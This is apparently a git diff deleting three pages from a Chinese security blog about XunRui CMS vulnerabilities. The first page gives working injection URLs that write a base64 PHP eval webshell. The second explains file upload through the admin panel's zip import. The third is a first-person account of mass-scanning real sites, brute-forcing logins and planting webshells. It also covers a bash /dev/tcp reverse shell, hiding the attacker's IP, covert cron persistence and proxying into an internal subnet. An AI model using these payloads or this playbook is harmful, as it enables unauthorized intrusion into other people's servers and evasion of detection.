"a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" deleted file mode 100644 index adbc4610..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" deleted file mode 100644 index 04520161..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/index.html" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/index.html" deleted file mode 100644 index 7213703d..00000000 --- "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/index.html" +++ /dev/null @@ -1,768 +0,0 @@ - - - - -迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞 - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞 - - -
- - -
- -
- - - expliot-db - - -
- - -
-

- 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞 -

- - -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

触发条件

-

一个条件:

-

1.迅睿CMS 版本为v4.5.0到v4.5.1

-

漏洞分析

-

https://xz.aliyun.com/t/10002

-

http://w4nder.top/index.php/2021/09/18/xunruicms-rce/

-

Internet Archive’s Wayback Machine:

-
- -
-
1
-
 -
https://web.archive.org/web/*/https://xz.aliyun.com/t/10002
-
-
-
- -
-
1
-
 -
https://web.archive.org/web/*/http://w4nder.top/index.php/2021/09/18/xunruicms-rce/
-
-
-

google快照:

-
- -
-
1
-
 -
https://webcache.googleusercontent.com/search?q=cache:6jYLBLzNYZIJ:https://xz.aliyun.com/t/10002+&cd=1&hl=en&ct=clnk&lr=lang_en|lang_ru|lang_ko|lang_zh-CN|lang_zh-TW|lang_ja
-
-
-
- -
-
1
-
 -
http://webcache.googleusercontent.com/search?q=cache:7JueN0ys3V0J:w4nder.top/index.php/2021/09/18/xunruicms-rce/+&cd=1&hl=en&ct=clnk&lr=lang_en|lang_ru|lang_ko|lang_zh-CN|lang_zh-TW|lang_ja
-
-
-

bing快照:

-

只有xz的,没有w4nder的

-
- -
-
1
-
 -
http://cncc.bingj.com/cache.aspx?q=https%3a%2f%2fxz.aliyun.com%2ft%2f10002&d=4793325569704282&mkt=zh-CN&setlang=en-US&w=eZ59zs2SxfyDwKSkJpRp0MonVvsThxnm
-
-
-

一个利用方式

-

写webshell文件:

-

写入的文件默认是在网站根目录下

-

经过测试,如果写入的内容包含<?,会被url转义,但是先写<再写?就不会被转义

-

写入php标记为<?='';?>的php文件:

-

1.先写<:

-
- -
-
1
-
 -
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
-
-
-

2.写剩余的语句:

-
- -
-
1
-
 -
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?='';file_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND
-
-
-

写入php标记为<?php ?>的php文件

-

1.先写<:

-
- -
-
1
-
 -
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
-
-
-

2.写剩余的语句:

-
- -
-
1
-
 -
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?php%0dfile_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND
-
-
-

写完之后,访问webshell2.php,会在同目录下生成webshell.php文件,webshell.php即为webshell

-

执行无参函数

-

如果想执行无参函数,例如phpinfo();,将url中的param0参数设为-1即可:

-
- -
-
1
-
 -
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
-
-
-
-
- - -
- -
- - expliot-db - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 799b17cb..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" deleted file mode 100644 index f05890cc..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" deleted file mode 100644 index adbc4610..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" deleted file mode 100644 index 04520161..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/index.html" "b/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/index.html" deleted file mode 100644 index a2fac010..00000000 --- "a/p/\350\277\205\347\235\277cms-v4.5.4\345\210\260v4.5.6\347\233\256\345\211\215\346\234\200\346\226\260\347\211\210\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236/index.html" +++ /dev/null @@ -1,701 +0,0 @@ - - - - -迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞 - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞 - - -
- - -
- -
- - - expliot-db - - -
- - -
-

- 迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞 -

- - -

- 迅睿CMS v4.5.4到v4.5.6(目前最新版) -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

来源

-

https://www.0daying.com/post-71.html

-

触发条件

-

两个条件:

-

1.迅睿CMS 版本为v4.5.4到v4.5.6(目前最新版)

-

2.登录后台,且为管理员或具有"应用"->“联动菜单"的管理权限

-

漏洞描述

-

后台"应用”->“联动菜单”->“导入"处可上传zip文件,且该处没有对用户上传的zip压缩文件做相应的过滤,导致用户可以上传任意文件

-

漏洞利用

-

版本v4.5.4

-

将要上传的文件压缩为zip格式,然后登陆后台,在具备相关权限的情况下,在"应用”->“联动菜单”->“导入"处直接上传该zip文件,同时上传时必须要抓包,响应包中会返回上传的文件的物理路径

-

响应包中返回的物理路径通常为*/cache/temp/*.zip,而通过该漏洞上传的zip文件在上传成功后会自动解压,自动解压的过程中会自动在zip文件的同目录下创建一个名为压缩包去掉后缀名的文件名的目录,再将压缩包内的文件解压到此目录,因此,通常情况下如果上传一个名为webshell.zip,且压缩包内有一个名为webshell.php的文件的压缩包,那么,通过该漏洞上传zip文件之后,压缩包内的webshell.php文件的物理路径为*/cache/temp/webshell/webshell.php,通过url访问为http://domain:post/cache/temp/webshell/webshell.php

-

版本v4.5.5和版本v4.5.6(目前最新版)

-

相比版本v4.5.4,这两个版本增加了对压缩包内文件的检测,但是此处我们先不尝试绕过相应的检测,而是尝试另一个更为简单的方法

-

这两个版本未对压缩包内的文件夹进行递归检测,因此只要把恶意文件放在文件夹内再压缩然后上传即可

-

相比版本v4.5.4,在上传该zip压缩文件时依旧可以通过抓包获取文件的物理路径,同时因为增加了一层文件夹,相应的解压之后的压缩包内的文件的物理路径变为*/cache/temp/linkage/webshell/webshell/webshell.php,url变为http://domain:post/cache/temp/linkage/webshell/webshell/webshell.php

-

POC && EXP

-

很简单,我就不写了,不过注意目标站点的cms可能有坑,比如版本号低但实际的站点文件已经更新过了

-

POC

-

登录后台,获取版本号,然后验证一下是否为管理员或具有"应用”->“联动菜单"的管理权限即可

-

EXP

-

登录后台,然后在"应用”->“联动菜单”->“导入"处上传zip文件

- -
- - -
- -
- - expliot-db - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/index.html" "b/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/index.html" deleted file mode 100644 index 5311cdd3..00000000 --- "a/p/\350\277\231\344\270\252\347\240\224\350\277\230\350\200\203\344\270\215\350\200\203\344\272\206-\350\256\260\344\270\200\346\254\241\344\273\216\345\274\200\346\272\220cms\344\273\243\347\240\201\345\256\241\350\256\241\345\210\260\346\211\223\351\200\232\345\206\205\347\275\221\344\270\200\344\270\252c\346\256\265/index.html" +++ /dev/null @@ -1,966 +0,0 @@ - - - - -这个研还考不考了 记一次从开源cms代码审计到打通内网一个C段 - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 这个研还考不考了 记一次从开源cms代码审计到打通内网一个C段 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 这个研还考不考了 记一次从开源cms代码审计到打通内网一个C段 -

- - -

- 打完这个C段了 去学考研了 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

考研

-

现在开始也不晚吧…

-

渗透

-

漏洞发现

-

第一个洞是我自己审计出来的,详情见我下面的这一篇的文章,同站的文章,报了CVD,CNNVD,CNVD,到现在一个都没消息

-

迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)

-

第二个洞是别的师傅发的,我转载到我的站上来了

-

迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞

-

第三个洞也是别的师傅发的,我转载到我的站上来了

-

迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞

-

这三个洞基本覆盖了这个cms的近期版本,而且第二个洞在最新版也可以复现,所以危害还是很大的,但是前提是能进后台而且有相应的权限,第三个洞虽然是前台代码执行,但是是低版本的,所以危害也不是很大

-

只能说不能说是很大吧,也不能说是很小

-

漏洞利用

-

不过既然有洞了,那么写个脚本让它自己去跑就行了,瞎猫碰上死耗子,能逮到几个站算几个

-

现在思路就很明确了

-
    -
  1. 通过google语法,bing语法,fofa,zoomeye收集使用该cms的网站
    2. -
  2. 找后台路径
    3. -
  3. 找后台登陆密码
    4. -
  4. 查看版本和权限,然后尝试利用
    5. -
-

网站收集

-
google语法
-

抓包看了一下,不是简单能搞定的,于是果断找别人的repository,在github和google找了许久,最终找到了一个能用的repository

-

https://github.com/howie6879/magic_google

-

通过google语法获取使用该cms的搜索结果,然后提取搜索结果里的url,记得如果有的话把gov.cn域名的url去掉

-
bing语法的坑
-

Microsoft有提供的bing搜索的api,但是要收费,加之我抓包看了一下发现爬bing比较简单,于是决定自己写

-

然而结果出乎我的意料,脚本发的包和在浏览器正常请求的包,在同一个设备和同一个ip下,脚本发的包竟然会被识别出来…同样的搜索内容,在有多页搜索结果的情况下,脚本发的包不论请求第几页,返回的都是相同的内容

-

只能暂时放弃这一条路了,再研究下去不知道要研究多久,但是手动肯定更麻烦而且更慢,于是决定试一下一直听说但一直没用过的selenium

-

简单看了一下文档,发现挺简单的,而且用这个肯定不会被识别出来,于是愉快的爬了bing的搜索结果

-
fofa和zoomeye
-

这两个都有自己的搜索语法,而且比较简单,就不赘述了,注意fofa可以直接搜索web app,也可以搜索web app的指纹,两个的搜索结果是否一样要另说

-
收集到的url的处理
-

首先把gov.cn域名的url去掉,然后再去重,最后保存起来就ok了

-

找后台

-

这个cms默认的后台是/admin.php,所以首先写个脚本试一下是不是默认的后台

-

不是默认的后台的站这里我用的https://github.com/maurosoria/dirsearch爆破

-

不过最近我用这个repository的导出功能时,发现这个repository导出到html格式的功能有bug,批量爆破时可能会所有结果的domain都是第一个url的,或者直接导出的html文件内容为空

-

最后找不到后台的站就直接放弃了

-

找后台密码

-

这个cms没有默认的用户名和密码,安装的时候需要手动设置用户名和密码

-

同时这个cms在用户名不存在时和密码错误时返回的内容不一样

-

所以先写个脚本批量试一下常见的用户名,注意漏洞存在的版本中,低版本的站不需要csrf,高版本的站需要csrf,csrf从后台登陆页面的html里有

-

因为这一步比较简单,就没用工具,自己写的,然后把不存在常见用户名的后台丢到burp suite里跑,用户名和密码的字典可以自己收集然后汇总一下,前段时间我刚自己整合了几个star比较多的repository的后台字典,以后用用看看怎么样

-

然后没爆破到用户名的站直接放弃,爆破到用户名的站先试一下常见的弱口令,admin,123456,用户名这样的,用脚本一会就跑完了,再把没用常见的弱口令的后台丢到burp suite爆破一遍密码,爆破的时间可以去看看前面跑出来用户名和密码的站

-

注意burp suite爆破的时候可以调高一下线程试试,要求并发很低的站可以放到服务器上去跑

-

最后没跑出来密码的站也是直接放弃就好了

-

利用

-

前面提交漏洞的时候我写了个poc,稍微改一下就是exp,不过我不太喜欢用太自动化的东西,因为总有不一样的站,这次就遇到了几个不太一样的站,比如显示低版本但是实际上很多地方已经是高版本了,可能还有反过来的,所以爆破到后台密码的站我还是喜欢手动搞

-

具体操作还是很简单的,登陆后台,看一下版本,没权限的情况下直接放弃这个站就好了,有权限的情况下直接用前面的漏洞就拿到webshell了

-

此处切记要先给webshell做个备份之类的再考虑后渗透,比如在网站的关键目录里藏个免杀的马,如果不嫌麻烦的话(有风险的地方尽量少用自动化的工具)可以在服务器的每个web程序上都留个马,万一以后用到了,渗透就是越细越好,另外就是切记切记切记弹shell之后输命令的时候一定要小心,一定要小心,一定要小心,之前不小心把一个站mv到别的目录去了,而且没在别的web应用里留马,最后加急渗透旁站给他mv回去的

-

另外就是信息收集是最重要的,渗透测试的本质就是信息收集,如果拿到的webshell的权限很低,可以看一下子域名和端口,说不准有别的洞可以让你拿到高权限的账户

-

后渗透

-

绕php的disable_functions

-

此处用AntSword的官方绕过插件全自动绕,而且比较安全,不会搞坏目标服务器,绕过失败的可以手动试一下,还可以看一下cms存的数据库的用户名和密码,一般都在/config/database.php里,然后看一下数据库能不能利用,比如写文件或者写日志,以及各种提权,如果绕过disable_functions失败,数据库也不能利用的可以看一下目标服务器上都有什么文件,比如其他站点或者其他可以利用的东西,如果限制了访问目录那就只能留着以后再看了

-

3.2 隐藏ip

-

隐藏攻击ip还是很重要的,不然容易被溯源,可以上cdn或者用云函数等

-

但是此处也是有大坑的,能访问国外服务器的目标机器就好办了,直接上就行,但是不能访问国外服务器的目标机器,首先用Cloudflare比较卡,其次用国内的云服务商的则需要实名,而且费用也不低,所以实在没办法就别隐藏了

-

3.3 加密bash反弹shell

-

bash反弹shell:

-

目标机器反弹shell,不打印输出信息,防止暴露攻击机的ip等:

-
- -
-
1
-
 -
bash -c "bash -i >& /dev/tcp/攻击机的ip/攻击机接收shell的端口 0>&1" >/dev/null 2>&1
-
-
-

攻击机接收反弹来的shell:

-
- -
-
1
-2
-
 -
nc -lvvp 攻击机接收shell的端口
-//netcat版本低时l和p参数不兼容,可以nc -lvv port监听端口
-
-
-

用https://github.com/neurobin/shc这个repository加密一下bash脚本,加密后会生成一个c源代码文件和编译之后的二进制文件,把编译之后的二进制文件传到目标机器上执行就行了,可以弥补一下目标机器在国内时不便于隐藏攻击ip的缺陷

-

webshell提供的shell环境限制很多,所以最好先反弹shell,尽量不要正向连接shell,开个端口动静太大

-

首先是不能弹shell的情况,比如相关的bash,nc等命令都被限制了,那先尝试提权

-

能弹shell但是接收不到的时候,可以看一下目标是不是限制出网或者限制出站端口

-

如果限制出网那就先尝试提权,如果限制出站端口可以批量试一下常见的端口,在自己的vps上,通过nginx监听多个端口来快速启动多个端口,然后再在目标机器上上传个sh脚本,批量curl自己vps的指定端口,最后看一下结果就可以了,nmap —top-ports 100或1000可以扫描nmap整理的100或1000个最常用的端口,可以参考一下

-

成功收到shell的时候,依旧是个很难用的shell,可以再升级成完全的shell再用,升级之后和真实shell一样,非常舒服

-
- -
-
1
-2
-3
-4
-5
-
 -
# 攻击机本地执行
-# 首先检查当前终端和STTY信息
-$ echo $TERM      
-$ stty -a 
-# 查看输出的rows和columns,后面配置用
-
-
-
- -
-
1
-2
-3
-4
-5
-6
-7
-8
-9
-
 -
# 此时攻击机已经获取到了bash
-$ python -c 'import pty; pty.spawn("/bin/bash")'
-$ ctrl + z //快捷键
-$ stty raw -echo
-$ fg
-$ reset //这一步我实测有问题,输了会出问题,不输也没有影响,所以如果输了有问题可以不输
-$ export SHELL=bash
-$ export TERM=xterm-256color
-$ stty rows 行数 columns 列数
-
-
-

此处的这些操作是重复性的,和具体设备无关,所以用xshell的可以写个xshell的脚本或者录制个xshell的脚本,不过我这边录制的时候生成的脚本内容总是为空,应该是个bug,也没时间研究写xshell的脚本了,所以直接用按键精灵写了个

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-12
-13
-14
-15
-16
-17
-18
-19
-
 -
SayString "python -c 'import pty; pty.spawn(""/bin/bash"")'"
-WaitKey
-WaitKey
-WaitKey
-WaitKey
-SayString "stty raw -echo"
-WaitKey
-WaitKey
-SayString "fg"
-WaitKey 
-WaitKey 
-WaitKey
-SayString "export SHELL=bash"
-WaitKey 
-WaitKey
-SayString "export TERM=xterm-256color"
-WaitKey 
-WaitKey
-SayString "stty rows 45 columns 184"
-
-
-

毕竟按键精灵只是模仿输入,不能获取到结果,所以每一步都是只输入,不回车,需要自己回车,而且每一次输入之后会多监听一次任意按键事件,以防想暂停

-

如果想把这个shell关了,或者这个shell接收到了内网的其他shell,然后想把接收到的其他shell关了,需要输入两次exit退出,然后可能shell的格式是乱的,这时候reset一下就好了

-

在攻击机上肯定不可能直接就接收shell,如果本地和攻击机的shell连接断了,那么攻击机和目标机器的shell也就断了,或者想把攻击机接收到的shell挂在后台,也不能直接接收shell,此处我推荐使用screen,类似于windows下的多窗口,接收shell的时候新开一个screen挂在后台,不用的时候就在后台挂着,用的时候切过去用就可以了

-

3.4 低权限提权

-

前面成功getshell的站全都是linux的,一个windows的也没有,而且清一色的都是CentOS,一个Ubuntu,Debian或者其他的系统都没有,同时基本都是低权限,那就需要提权了

-

首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同时看看打没打补丁,如果目标机器不能编译的话可以在自己的机器上编译好了传过去,利用成功就直接root了,不成功就只能继续试了,此处也有几个提权工具,不过我试了一下不是很好用,都是靠版本来判断的,和手动搞一样

-

3.5 权限维持

-

切记要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者没了,方法很多,可以google搜一下,与时俱进,用最新的东西

-

cron计划任务权限维持比较简单,当然也比较明显:

-

建议用前面说的shc加密,上传生成的二进制文件,用这个二进制文件弹shell,安全性高一点

-

上传之后,先chmod +x 二进制文件给一下权限,然后在名字前面加个.变为隐藏文件(ls -a可以查看隐藏文件),再尝试一下chattr +i 二进制文件(chattr -i 二进制文件可以解除锁定)防止删除,有相应的权限才能成功执行这条命令,最后把这个文件放在安全又隐秘的位置,然后新建一个bash脚本,里面随便填充点内容,然后把调用这个文件的语句放在里面,最后加在/etc/crontab里

-

配置cron计划任务时,如果是root用户,那就在/etc/crontab里添加,如果不是root用户,那就用crontab -e添加,注意crontab -e需要交互式shell,理论上来说非root用户的cron存在/var/spool/crond下(CentOS),可以直接编辑相应的文件,但是非root用户通常没有权限直接编辑,所以还是需要获取交互式shell然后crontab -e添加

-

/etc/crontab里应该有默认的配置和默认的例子,crontab -e没有,不管是怎么写cron,都建议使用以下配置:

-

在写cron之前先执行$PATH查看环境变量并复制,然后再写cron

-

首先第一行配置为SHELL=+相应的shell位置,第二行配置为PATH=+默认的(如果有的话)加上前面的$PATH,第三行配置为MAILTO="",第三行的意义是计划任务的执行结果不给用户发邮件,因为计划任务反弹shell是不停的反弹,但是攻击机如果之前接收到的shell还没关就会报错然后发邮件,发了邮件的话每次执行命令都会提示,很容易就被发现了

-

最后配置计划任务:

-

root用户配置为* * * * * root /要执行的命令或文件

-

非root用户配置为* * * * * /要执行的命令或文件

-

cron的语法可以学一下,上面的是每分钟弹一次shell

-

3.6 内网

-
3.6.1 信息收集
-

激动人心的时刻来了,打内网

-

因为我拿到的shell都是linux下的,没有类似windows上的域控等等,所以此处就扫扫端口,此处可以用nmap,也可以用fscan,强烈推荐fscan,用一次就上瘾,很好用

-
3.6.2 搭建代理
-

有些内网ip的端口上跑的比如网站等等在命令行不太好渗透,而且有些内网ip是不出网的,只能通过我们打下来的这个边界服务器来访问,所以建个代理还是很有必要的

-

此处我推荐用frp,然后依旧遵循动静小点的原则,不在目标机器上开端口,在自己的vps上架设frp的服务端,在目标机器上架设frp的客户端,然后在客户端启用socks5代理插件,这会在服务端上开一个你指定的端口用来做socks5代理,可以配置用户名和密码,还可以远程连接,同时可以搭配其他软件做ip的黑白名单,非常好用,本地配置代理Windows建议用Proxifier,Linux建议用proxychains-ng(proxychains4)

-

另外也可以用Neo-reGeorg,直接上传个php/jsp等文件就可以建socks5代理,也很好用,对比frp一个优点是只传文件不用执行命令就可以建代理,另一个优点是不用在目标机器上额外在后台挂一个程序

-
3.6.3 内网渗透
-

其实和前面的web渗透一样,只不过有些应用在内网比较常见,所以需要去了解一下,搜一下有什么漏洞

-

fscan本身会检测漏洞,比如各种未授权访问,也会爆破一些端口的服务,比如mysql,ssh或者Tomcat的Manager App的弱口令等

-

一个C段可以见识不少东西,打了一遍下来竟然天亮了…一天一夜过去了

-

具体就不细说了,遇见哪个搜哪个

-

该学考研的了

-
3.6.4 内网不出网反弹shell
-

目标机器如果不出网可以反弹到已经打下来的内网机器上,也可以再把反弹的端口转发到vps上,实现通过转发出网

-

通过ncat转发出网:

-

中转的机器执行:

-
- -
-
1
-
 -
